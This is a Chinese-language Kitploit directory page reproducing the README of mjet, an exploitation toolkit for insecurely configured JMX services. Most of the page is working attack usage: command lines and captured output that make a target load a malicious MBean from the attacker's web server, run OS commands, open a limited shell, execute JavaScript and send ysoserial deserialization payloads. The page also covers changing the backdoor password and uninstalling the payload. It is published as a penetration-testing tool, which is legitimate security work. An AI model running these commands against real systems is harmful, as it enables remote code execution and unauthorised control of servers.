Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mjet — MOGWAI LABS JMX 漏洞利用工具包 | Kitploit
工具/GitHubGitHub/mogwailabs/mjet
Payload生成漏洞利用后渗透利用渗透测试红队远程访问工具Archived
GitHubmogwailabs/mjet

mjet

MOGWAI LABS JMX 漏洞利用工具包

查看仓库
20547113年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

由 MOGWAI LABS 出品的 MJET

MOGWAI LABS JMX 利用工具包

MJET 是 sjet 的一个分支，后者由 siberas 开发，但已不再积极维护。MJET 由 MOGWAI LABS 团队维护，该团队也提供了原始 sjet 代码库的大部分内容。

MJET 可以轻松利用配置不安全的 JMX 服务。更多背景信息可在此处和此处找到。

!!! 重要：此项目不再维护

此仓库不再积极维护。我们建议改用 qtcs beanshooter。

前提条件

  • Jython 2.7
  • Ysoserial（用于通过 JMX 利用反序列化漏洞）
  • opendmk_jmxremote_optional_jar-1.0-b01-ea.jar（用于支持备选的 JMX 消息协议（JMXMP））

用法

MJET 实现了一个命令行界面（使用 argparse）：

jython mjet.py targetHost targetPort MODE password (modeOptions)

其中

  • targetHost - 目标 IP 地址
  • targetPort - JMX 运行的目标端口
  • MODE - 脚本模式
  • modeOptions - 所选模式的选项

身份验证支持（如果启用了 JMX 身份验证）：

  • --jmxrole - 用户名
  • --jmxpassword - 密码

其他可选参数：

  • --jmxmp - 使用 JMX-MP（需要加载额外的 JAR）
  • --localhost_bypass - localhost 绕过中代理的服务端口
  • --shell - 使用指定的 shell
  • --rmiObjectName - JMX 端点的 RMI 名称

模式与 modeOptions

  • install - 在当前目标上安装 payload
    • password - 安装成功后应设置的密码
    • payload_url - 加载 payload 的完整 URL
    • payload_port - 加载 payload 的端口
  • uninstall - 从当前目标卸载 payload
  • changepw - 更改已部署 payload 的密码
    • password - 访问已安装 MBean 的密码
    • newpass - 新密码
  • command - 在 targetHost 上运行命令 CMD
    • password - 访问已安装 MBean 的密码
    • CMD - 要运行的命令
  • shell - 在 targetHost 中启动一个简单 shell（受限于 Java 的 Runtime.exec()）
    • password - 访问已安装 MBean 的密码
  • javascript - 在 targetHost 中运行 JavaScript 文件 FILENAME
    • password - 访问已安装 MBean 的密码
    • FILENAME - 要运行的 JavaScript
  • deserialize - 向目标发送 ysoserial payload
    • gadget - ysoserial 提供的 gadget，例如 CommonsCollections6
    • cmd - 要执行的命令
  • webserver - 仅运行 MLET Web 服务器
    • payload_url - 加载 payload 的完整 URL
    • payload_port - 加载 payload 的端口

示例

在易受攻击的 JMX 服务上安装 payload MBean

在以下示例中，易受攻击的 JMX 服务运行在 10.165.188.23 的 2222 端口，攻击者的 IP 地址为 10.165.188.1。该 JMX 服务将连接攻击者的 Web 服务以下载 payload jar 文件。MJET 将在 8000 端口启动所需的 Web 服务。

安装 MBean 成功后，默认密码会被更改为命令行中提供的密码（"super_secret"）。

h0ng10@rocksteady ~/w/mjet> java -jar jython-standalone-2.7.0.jar mjet.py 10.165.188.23 2222 install super_secret http://10.165.188.1:8000 8000

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://10.165.188.1:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
10.165.188.23 - - [26/Apr/2019 21:50:37] "GET / HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done
h0ng10@rocksteady ~/w/mjet>

使用 JMX 凭据安装（同样需要服务器的弱配置）：

h0ng10@rocksteady:~/mjet$ jython mjet.py 192.168.11.136 9991 install super_secret http://192.168.11.132:8000 8000 --jmxrole JMXUSER --jmxpassword JMXPASSWORD
mJET - MOGWAI LABS JMX Exploitation Toolkit
=======================================
[+] Starting webserver at port 8000
[+] Connecting to: service:jmx:rmi:///jndi/rmi://192.168.11.136:9991/jmxrmi
[+] Using credentials: JMXUSER / JMXPASSWORD
[+] Connected: rmi://192.168.11.132  1
[+] Loaded javax.management.loading.MLet
[+] Loading malicious MBean from http://192.168.11.132:8000
[+] Invoking: javax.management.loading.MLet.getMBeansFromURL
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET / HTTP/1.1" 200 -
192.168.11.136 - - [22/Aug/2017 22:38:00] "GET /mogwailabs_mlet.jar HTTP/1.1" 200 -
[+] Successfully loaded MBeanMogwaiLabs:name=payload,id=1
[+] Changing default password...
[+] Loaded de.mogwailabs.mlet.MogwaiLabsPayload
[+] Successfully changed password

h0ng10@rocksteady:~/mjet$

在 Linux 目标上运行命令 'ls -la'：

安装 payload 后，我们可以使用它在目标上执行操作系统命令。

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 command super_secret "ls -la"

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  4
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


[+] Done
h0ng10@rocksteady ~/w/mjet>

以 shell 模式运行

如果你不想为每条命令都加载 Java，可以使用“shell 模式”获得一个受限的命令 shell。

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 shell super_secret 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  5
[+] Use command 'exit_shell' to exit the shell
>>> ls -la
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: ls -la
total 20
drwxr-xr-x  5 root    root    4096 Apr 26 11:12 .
drwxr-xr-x 33 root    root    4096 Apr 10 13:54 ..
lrwxrwxrwx  1 root    root      12 Aug 13  2018 conf -> /etc/tomcat8
drwxr-xr-x  2 tomcat8 tomcat8 4096 Aug 13  2018 lib
lrwxrwxrwx  1 root    root      17 Aug 13  2018 logs -> ../../log/tomcat8
drwxr-xr-x  2 root    root    4096 Apr 26 11:12 policy
drwxrwxr-x  3 tomcat8 tomcat8 4096 Apr 10 13:54 webapps
lrwxrwxrwx  1 root    root      19 Aug 13  2018 work -> ../../cache/tomcat8


>>> pwd
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing command: pwd
/var/lib/tomcat8


>>> exit_shell
[+] Done
h0ng10@rocksteady ~/w/mjet>

在目标上调用 JavaScript payload：

示例脚本“javaproperties.js”会显示易受攻击服务的 Java 属性。可按如下方式调用：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 javascript super_secret scripts/javaproperties.js 

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  6
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Executing script
awt.toolkit=sun.awt.X11.XToolkit
java.specification.version=11
sun.cpu.isalist=
sun.jnu.encoding=UTF-8
java.class.path=/usr/share/tomcat8/bin/bootstrap.jar:/usr/share/tomcat8/bin/tomcat-juli.jar
com.sun.management.jmxremote.authenticate=false
java.vm.vendor=Oracle Corporation
sun.arch.data.model=64
...


[+] Done

更改密码

将现有密码（“super_secret”）更改为“this-is-the-new-password”：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 changepw super_secret this-is-the-new-password

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  7
[+] Loaded de.mogwailabs.MogwaiLabsMJET.MogwaiLabsPayload
[+] Successfully changed password
[+] Done

从目标卸载 payload MBean

从目标卸载 payload MBean“MogwaiLabs”：

h0ng10@rocksteady ~/w/mjet> jython mjet.py 10.165.188.23 2222 uninstall

MJET - MOGWAI LABS JMX Exploitation Toolkit
===========================================
[+] Connecting to: service:jmx:rmi:///jndi/rmi://10.165.188.23:2222/jmxrmi
[+] Connected: rmi://10.165.188.1  8
[+] MBean correctly uninstalled
[+] Done
下载工具